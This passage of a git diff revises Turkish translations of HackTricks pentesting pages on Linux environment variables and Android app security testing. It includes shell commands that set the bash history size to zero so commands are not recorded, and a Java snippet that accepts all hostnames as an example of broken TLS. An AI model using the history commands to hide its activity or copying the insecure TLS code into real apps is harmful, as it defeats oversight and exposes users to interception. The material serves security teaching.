ekran. Bu değişken genellikle **:0.0** olarak ayarlanır, bu da mevcut bilgisayardaki ilk ekranı temsil eder. +* **DISPLAY** – **X** tarafından kullanılan ekran. Bu değişken genellikle **:0.0** olarak ayarlanır, bu da mevcut bilgisayardaki ilk ekranı ifade eder. * **EDITOR** – kullanıcının tercih ettiği metin düzenleyici. * **HISTFILESIZE** – geçmiş dosyasında bulunan maksimum satır sayısı. * **HISTSIZE** – Kullanıcı oturumu sona erdiğinde geçmiş dosyasına eklenen satır sayısı. @@ -83,19 +79,19 @@ Kaynak: [https://geek-university.com/linux/common-environment-variables/](https: ### **HISTFILESIZE** -Bu değişkenin **değerini 0 olarak değiştirin**, böylece **oturumunuzu sonlandırdığınızda** geçmiş dosyası (\~/.bash\_history) **silinecektir**. +Bu değişkenin **değerini 0** olarak değiştirin, böylece oturumunuzu sonlandırdığınızda geçmiş dosyası (\~/.bash\_history) **silinecektir**. ```bash export HISTFILESIZE=0 ``` ### **HISTSIZE** -Bu değişkenin **değerini 0 yapın**, böylece **oturumunuzu sonlandırdığınızda** herhangi bir komut **geçmiş dosyasına** (\~/.bash\_history) eklenmeyecektir. +Bu değişkenin değerini 0 olarak değiştirin, böylece oturumunuzu sonlandırdığınızda herhangi bir komut **geçmiş dosyasına** (\~/.bash\_history) eklenmeyecektir. ```bash export HISTSIZE=0 ``` ### http\_proxy & https\_proxy -İşlemler, internete bağlanmak için burada belirtilen **proxy**'yi kullanacaklar. +İşlemler, internete bağlanmak için burada belirtilen **proxy**'yi kullanacaktır, **http veya https** üzerinden. ```bash export http_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080" @@ -109,7 +105,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates ``` ### PS1 -Promptunuzu nasıl göründüğünü değiştirin. +Prompt görünümünü değiştirin. [**Bu bir örnektir**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) @@ -121,30 +117,30 @@ Normal kullanıcı: ![](<../.gitbook/assets/image (88).png>) -Bir, iki ve üç arka planda çalışan işler: +Arka planda bir, iki ve üç iş: ![](<../.gitbook/assets/image (89).png>) -Bir arka planda çalışan iş, bir durdurulan iş ve son komut doğru bir şekilde tamamlanmadı: +Bir arka planda iş, bir durdurulmuş iş ve son komut doğru bir şekilde tamamlanmadı: ![](<../.gitbook/assets/image (90).png>) **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: * Şirketinizi **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/mobile-pentesting/android-app-pentesting/README.md b/mobile-pentesting/android-app-pentesting/README.md index 5fda1ec40..0df12dfbc 100644 --- a/mobile-pentesting/android-app-pentesting/README.md +++ b/mobile-pentesting/android-app-pentesting/README.md @@ -2,15 +2,15 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -46,12 +46,12 @@ ADB'yi nasıl kullanacağınızı öğrenmek için [**ADB Komutları**](adb-comm ## Smali -Bazen **uygulama kodunu değiştirmek** ve **gizli bilgilere erişmek** (belki iyi gizlenmiş şifreler veya bayraklar) ilginç olabilir. Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\ -[**Bu öğreticide** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yi nasıl yeniden derleyeceğinizi](smali-changes.md) öğrenebilirsiniz. Bu, **sunulacak dinamik analiz sırasında çeşitli testler için alternatif olarak çok faydalı olabilir**. Bu nedenle, **bu olasılığı her zaman akılda tutun**. +Bazen **uygulama kodunu değiştirmek** ve **gizli bilgilere** erişmek ilginç olabilir (belki iyi gizlenmiş şifreler veya bayraklar). Sonra, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\ +[**Bu öğreticide** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, **sunulacak dinamik analiz sırasında çeşitli testler için bir alternatif olarak çok yararlı olabilir**. Bu nedenle, **bu olasılığı her zaman akılda tutun**. ## Diğer ilginç püf noktalar -* [Play Store'da konumunuzu sahtecilik yapma](spoofing-your-location-in-play-store.md) +* [Konumunuzu Play Store'da sahtecilik yapma](spoofing-your-location-in-play-store.md) * **APK'ları İndir**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) * Cihazdan APK çıkarma: ```bash @@ -74,7 +74,7 @@ APK'nın **strings**'lerine bakarak **şifreler**, **URL'ler** ([https://github. **Firebase** -**Firebase URL'lerine** özel dikkat gösterin ve yanlış yapılandırılmış olup olmadığını kontrol edin. [Firebase hakkında daha fazla bilgi ve nasıl sömürüleceği hakkında buraya bakın.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**Firebase URL'lerine** özel dikkat gösterin ve yanlış yapılandırılmış olup olmadığını kontrol edin. [Firebase nedir ve nasıl sömürüleceği hakkında daha fazla bilgi için buraya bakın.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml @@ -82,20 +82,20 @@ Bir uygulamanın **_Manifest.xml_** ve **_strings.xml_** dosyalarının incelenm **Manifest.xml**'den belirlenen **güvenlik açıkları** şunları içerebilir: -* **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir olarak ayarlanmış uygulamalar (`debuggable="true"`) bağlantılara izin vererek sömürülmeye yol açabileceği için risk oluşturur. Hata ayıklanabilir uygulamaların nasıl sömürüleceği hakkında daha fazla anlayış için, bir cihazda hata ayıklanabilir uygulamaları bulma ve sömürme konusunda bir öğreticiye başvurun. -* **Yedekleme Ayarları**: Hassas bilgilerle uğraşan uygulamalar için `android:allowBackup="false"` özelliği, özellikle usb hata ayıklama etkinleştirildiğinde yetkisiz veri yedeklemelerini önlemek için açıkça belirtilmelidir. -* **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik ayrıntılarını belirleyebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek gibi. +* **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir olarak ayarlanmış uygulamalar (`debuggable="true"`) bağlantılara izin vererek sömürülmeye yol açabileceği için risk oluşturur. Hata ayıklanabilir uygulamaların nasıl sömürüleceği hakkında daha fazla anlayış için cihazda hata ayıklanabilir uygulamaları bulma ve sömürme konusunda bir öğreticiye başvurun. +* **Yedekleme Ayarları**: Hassas bilgilerle uğraşan uygulamalar için `android:allowBackup="false"` özelliği, özellikle usb hata ayıklama etkin olduğunda yetkisiz veri yedeklemelerini önlemek için açıkça belirtilmelidir. +* **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik ayrıntılarını belirleyebilir. Örneğin, belirli alanlar için HTTP trafiğine izin verme. * **Dışa Aktarılan Aktiviteler ve Servisler**: Manifest'te dışa aktarılan aktiviteler ve servislerin belirlenmesi, yanlış kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenlerin nasıl sömürüleceğini ortaya çıkarabilir. * **İçerik Sağlayıcılar ve Dosya Sağlayıcılar**: Açık hale getirilmiş içerik sağlayıcılar, verilere yetkisiz erişime veya değişikliğe izin verebilir. Dosya sağlayıcıların yapılandırması da incelenmelidir. * **Yayın Alıcıları ve URL Şemaları**: Bu bileşenler, özellikle URL şemalarının giriş açıklıkları için nasıl yönetildiğine özel dikkat gösterilerek sömürülebilir. -* **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` özellikleri desteklenen Android sürümlerini belirtir ve güvenlik nedenleriyle güncellenmemiş, güvenlik açıklarına sahip Android sürümlerini desteklememenin önemini vurgular. +* **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` özellikleri desteklenen Android sürümlerini belirtir ve güvenlik nedenleriyle güncellenmemiş, savunmasız Android sürümlerini desteklememenin önemini vurgular. **strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu nedenle bu kaynakların dikkatli bir şekilde incelenmesi gereklidir. ### Tapjacking -**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve bir kurban uygulamanın üzerine yerleştiği bir saldırıdır. Kurban uygulamayı açıkça gölgelendikten sonra, kullanıcı arayüzü, kullanıcının gerçekte kurban uygulamada işlem yaptığını düşünerek onunla etkileşime geçmesini sağlayacak şekilde tasarlanmıştır.\ -Bu şekilde, kullanıcıyı, gerçekte kurban uygulamada işlem yaptığını bilmekten alıkoyar. +**Tapjacking**, bir **kötü niyetli uygulamanın** başlatıldığı ve bir kurban uygulamanın üzerine yerleştiği bir saldırıdır. Kurban uygulamayı açıkça gölgelediğinde, kullanıcı arayüzü, kullanıcıyı yanıltacak şekilde tasarlanmıştır ve kullanıcıyı etkileşime girmeye ikna etmek için tasarlanmıştırken, gerçekte kullanıcıyı kurban uygulamada eylemler gerçekleştirdiğini bilmemesini sağlar.\ +Etkisiyle, kullanıcıyı **gerçekte kurban uygulamada eylemler gerçekleştirdiğini bilmekten alıkoyar**. Daha fazla bilgi için: @@ -105,7 +105,7 @@ Daha fazla bilgi için: ### Görev Kaçırma -**`launchMode`** özelliği **`singleTask`** olarak ayarlanmış bir **aktivite**nin tanımlanmamış **`taskAffinity`** ile birlikte, görev Kaçırma açısından savunmasızdır. Bu, bir **uygulamanın** yüklenip gerçek uygulamadan önce başlatılabilir ve gerçek uygulamanın görevini **kaçırabilir** (bu nedenle kullanıcı, gerçek uygulamayı kullandığını düşünerek **kötü niyetli uygulama ile etkileşimde olacaktır**). +**`launchMode`** özelliği **`singleTask`** olarak ayarlanmış bir **aktivite**nin tanımlanmamış **`taskAffinity`** ile belirlenmemiş olması, görev Kaçırmaya karşı savunmasızdır. Bu, bir **uygulamanın** yüklenip gerçek uygulamadan önce başlatılabilir ve gerçek uygulamanın görevini **kaçırabilir** (bu nedenle kullanıcı, gerçek uygulamayı kullandığını düşünerek **kötü niyetli uygulamayla etkileşimde olacaktır**). Daha fazla bilgi için: @@ -117,43 +117,43 @@ Daha fazla bilgi için: **Dahili Depolama** -Android'de dahili depolamada **saklanan** dosyaların, yalnızca onları **oluşturan uygulama** tarafından **erişilebilir** olması amaçlanmıştır. Bu güvenlik önlemi, Android işletim sistemi tarafından uygulanır ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen dosyaların farklı uygulamalar arasında **paylaşılmasına izin vermek** için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanabilir. Bununla birlikte, bu modlar bu dosyalara diğer uygulamaların, potansiyel olarak kötü niyetli olanların da dahil olmak üzere erişimini **kısıtlamaz**. +Android'de dahili depolamada **saklanan** dosyaların, yalnızca onları **oluşturan uygulama** tarafından **erişilebilir** olması amaçlanmıştır. Bu güvenlik önlemi, Android işletim sistemi tarafından uygulanır ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen dosyaların farklı uygulamalar arasında **paylaşılmasına izin vermek** için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanabilir. Bununla birlikte, bu modlar bu dosyalara diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, **erişimi kısıtlamaz**. 1. **Statik Analiz:** -* `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelendiğinden emin olun**. Bu modlar, dosyaların **istenmeyen veya izinsiz erişime maruz kalabileceği** anlamına gelebilir. +* `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelendiğinden emin olun**. Bu modlar, dosyaların **istenmeyen veya yetkisiz erişime maruz kalabileceği** anlamına gelebilir. 2. **Dinamik Analiz:** -* Uygulama tarafından oluşturulan dosyalara ayarlanan **izinleri doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir olup olmadığını kontrol edin**. Bu, herhangi bir uygulamanın, kökeni veya amacı ne olursa olsun, bu dosyaları **okuyabileceği veya değiştirebileceği** anlamına gelir. +* Uygulama tarafından oluşturulan dosyalara ayarlanan **izinleri doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir olup olmadığını kontrol edin**. Bu, herhangi bir uygulamanın, kökeni veya niyeti ne olursa olsun, bu dosyaları **okuyabileceği veya değiştirebileceği** anlamına gelir. **Harici Depolama** -Harici depolamada, örneğin SD Kartlar üzerindeki dosyalarla uğraşırken bazı önlemler alınmalıdır: +Harici depolamadaki dosyalarla uğraşırken, SD Kartlar gibi, belirli önlemler alınmalıdır: 1. **Erişilebilirlik**: * Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. 2. **Güvenlik Endişeleri**: * Erişimin kolaylığı göz önüne alındığında, harici depolamada **hassas bilgileri saklamamak** tavsiye edilir. * Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir olduğundan, daha az güvenlidir. -3. **Harici Depolamadan Gelen Verilerin İşlenmesi**: -* Harici depolamadan alınan veriler üzerinde **giriş doğrulaması yapılmalıdır**. Bu, verinin güvenilir olmayan bir kaynaktan geldiği için önemlidir. -* Harici depolamadan alınan yürütülebilir dosyaların veya sınıf dosyalarının depolanması dinamik yükleme için kesinlikle tavsiye edilmez. -* Uygulamanızın harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklendiklerinde **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. +3. **Harici Depolamadan Veri İşleme**: +* Harici depolamadan alınan veriler üzerinde **giriş doğrulaması** yapın. Bu, verinin güvenilir olmayan bir kaynaktan geldiği için hayati önem taşır. +* Harici depolamadan yürütülebilir dosyaları veya sınıf dosyalarını saklamak kesinlikle tavsiye edilmez. +* Uygulamanızın harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olunmadan dinamik olarak yüklenmeden önce. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. -Harici depolama `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` dizinlerinde **erişilebilir** olabilir. +Harici depolama `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir** olabilir. {% hint style="info" %} -Android 4.4 (**API 17**) ile başlayarak, SD kartın bir uygulamadan diğerine özel olarak belirlenmiş dizine erişimi **sınırlayan bir dizin yapısı** vardır. Bu, kötü niyetli uygulamanın başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. +Android 4.4 (**API 17**) ile başlayarak, SD kartın bir uygulamanın belirli olarak ayrılmış dizinine erişimi **sınırlayan bir dizin yapısı** vardır. Bu, kötü niyetli uygulamanın başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. {% endhint %} -**Açık metin olarak saklanan hassas veriler** +**Açık metinde saklanan hassas veriler** -* **Paylaşılan tercihler**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda kolayca xml dosyalarını kaydetmesine izin verir ve bazen bu klasörde açık metinlerde hassas bilgiler bulunabilir. -* **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metinlerde hassas bilgiler bulunabilir. +* **Paylaşılan tercihler**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda kolayca xml dosyalarını kaydetmesine izin verir ve bazen bu klasörde açık metinde hassas bilgiler bulunabilir. +* **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metinde hassas bilgiler bulunabilir. ### Kırık TLS -**Tüm Sertifikaları Kabul Etme** +**Tüm Sertifikaları Kabul Et** -Bazı durumlarda geliştiriciler, örneğin, hostname eşleşmediğinde bile tüm sertifikaları kabul ederler gibi kod satırlarıyla, herhangi bir sertifikayı kabul edebilirler: +Bazen geliştiriciler, örneğin, **hostname** ile eşleşmese bile tüm sertifikaları kabul ederler: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -166,15 +166,15 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kod içinde sab **Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** -Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** için. Bu algoritmalar arasında: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash'ler** kullanılıyorsa, hash'lerin tuz ile birlikte kullanılması gerekmektedir. +Geliştiriciler, yetkilendirme **kontrolleri**, **veri depolama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır. Bu algoritmalar arasında RC4, MD4, MD5, SHA1 gibi algoritmalar bulunmaktadır. Örneğin şifreleri depolamak için **hash'ler** kullanılıyorsa, hash'lerin tuz ile birlikte kullanılması gerekmektedir. ### Diğer Kontroller * APK'nin **karıştırılması** önerilir, bu, saldırganların tersine mühendislik çalışmalarını zorlaştırır. -* Uygulama hassas ise (örneğin banka uygulamaları), mobil cihazın root edilip edilmediğini kontrol etmeli ve buna göre hareket etmelidir. -* Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. -* Uygulama hassas ise (örneğin banka uygulamaları), **değiştirilip değiştirilmediğini kontrol etmek için kendi bütünlüğünü kontrol etmelidir**. -* APK'nin nasıl oluşturulduğunu kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın. +* Uygulama hassas ise (örneğin banka uygulamaları), uygulamanın **köklendirilmiş mobil cihazı kontrol etmesi** ve buna göre hareket etmesi gerekmektedir. +* Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatörün kullanılıp kullanılmadığını kontrol etmelidir**. +* Uygulama hassas ise (örneğin banka uygulamaları), uygulamanın **değiştirilip değiştirilmediğini kontrol etmeden önce kendi bütünlüğünü kontrol etmesi** gerekmektedir. +* APK'nin nasıl derlendiğini kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın. ### React Native Uygulaması @@ -194,17 +194,17 @@ Xamarin uygulamalarının C# kodlarına kolayca erişmek için aşağıdaki sayf ### Süper Paketlenmiş Uygulamalar -Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açabilen bir uygulama oluşturma olasılığından bahseder... ve daha hızlı bir yol olan **uygulamayı çalıştırıp dosya sistemindeki açılmış dosyaları toplamak**. +Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre, süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açabilen bir uygulama oluşturma olasılığından bahseder... ve daha hızlı bir yol olan **uygulamayı çalıştırarak dosya sistemindeki açılmış dosyaları toplamak**. ### Otomatik Statik Kod Analizi -[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın kodunu tarayarak **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **bilinen kaynaklar** (kullanıcının girdisinin kontrol edildiği yerleri aracıya belirten), **sızıntılar** (kötü niyetli kullanıcı girdisinin zarar vermesine neden olabilecek tehlikeli yerleri belirten) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sızıntı** kombinasyonunu belirtir. +[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın kodunu tarayarak **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **bilinen kaynaklar** (kullanıcının girişini kontrol ettiği **yerleri** aracı belirten), **sızıntılar** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli yerleri** belirten) ve **kurallar** içerir. Bu kurallar, bir zayıflığı belirten **kaynak-sızıntı** kombinasyonunu gösterir. Bu bilgiyle, **mariana-trench kodu inceleyecek ve olası zayıflıkları bulacaktır**. ### Sızan Sırlar -Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler, gizli URL'ler, alt alanlar...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz. +Bir uygulama, içinde (API anahtarları, şifreler, gizli URL'ler, alt alanlar...) keşfedebileceğiniz sırlar içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz. ### Biyometrik Kimlik Doğrulamasını Atlatma @@ -212,7 +212,7 @@ Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler, [bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md) {% endcontent-ref %} -### Diğer İlginç Fonksiyonlar +### Diğer ilginç fonksiyonlar * **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` * **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage` @@ -246,9 +246,9 @@ Yeni hata avcılıklarını ve önemli platform güncellemelerini takip edin ## Dinamik Analiz -> İlk olarak, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida özellikle) yükleyebileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir. +> İlk olarak, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida özellikle) yükleyebileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklendirilmiş bir cihaz (emüle edilmiş veya değil) kesinlikle önerilir. -### Çevrimiçi Dinamik Analiz +### Çevrimiçi Dinamik analiz [https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap oluşturabilirsiniz**. Bu platform, APK'leri **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nin nasıl davrandığını görmek için faydalıdır. @@ -273,88 +273,88 @@ ADB bağlantısı sayesinde emülatörlerde **Drozer** ve **Frida** kullanabilir * [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez). {% hint style="info" %} -Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Mümkünse küçük ekranları seçin. +Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışacaktır. Mümkünse küçük ekranları seçin. {% endhint %} Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resimdeki kırmızı işaretli düğmeye tıklamanız gerekmektedir: ![](<../../.gitbook/assets/image (200) (1).png>) -Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Köprü Ağ Modunu** seçebilirsiniz (bu, araçlarla Android VM'ye bağlanacaksanız farklı bir VM'den bağlanacaksanız faydalı olacaktır). +Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Köprü Ağ Modunu** seçebilirsiniz (bu, araçlarla farklı bir VM'den Android VM'ye bağlanacaksanız faydalı olacaktır). #### Fiziksel bir cihaz kullanın **Hata ayıklama** seçeneklerini etkinleştirmeniz gerekiyor ve mümkünse cihazı **root** etmeniz iyi olur: 1. **Ayarlar**. 2. (Android 8.0'dan itibaren) **Sistem**'i seçin. -3. **Telefon hakkında**'yı seçin. +3. **Telefon Hakkında**'yı seçin. 4. **Yapı numarası**na 7 kez dokunun. 5. Geri gidin ve **Geliştirici seçenekleri**ni bulacaksınız. > Uygulamayı yükledikten sonra yapmanız gereken ilk şey, uygulamayı denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ -> **Bu ilk dinamik analizi MobSF dinamik analiz + pidcat kullanarak yapmanızı öneririm**, böylece MobSF uygulamanın nasıl çalıştığını öğrenirken birçok ilginç veriyi yakalayabilir ve daha sonra inceleyebiliriz. +> **Bu ilk dinamik analizi MobSF dinamik analiz + pidcat kullanarak yapmanızı öneririm**, böylece MobSF uygulamanın nasıl çalıştığını öğrenirken birçok ilginç veriyi yakalayabilir ve daha sonra inceleyebilirsiniz. ### İstenmeyen Veri Sızıntısı **Günlükleme** -Geliştiricilerin, hassas veri sızıntılarına yol açabileceği için **hata ayıklama bilgilerini** dikkatli bir şekilde kamuya açmamaları gerekmektedir. **Pidcat** ve `adb logcat` araçları, hassas bilgileri tanımlamak ve korumak için uygulama günlüklerini izlemek için önerilmektedir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir. +Geliştiricilerin, hassas veri sızıntılarına yol açabileceği için **hata ayıklama bilgilerini** dikkatlice açıklamamaları gerekmektedir. Uygulama günlüklerini izlemek ve hassas bilgileri tanımlamak ve korumak için **pidcat** ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir. {% hint style="warning" %} -**Android 4.0'dan daha yeni sürümlerden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Bu nedenle uygulamalar diğer uygulamaların günlüklerine erişemez.\ -Yine de, **hassas bilgileri günlükleme** önerilmez. +**Android 4.0'dan daha yeni sürümlerinden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilirler**. Bu 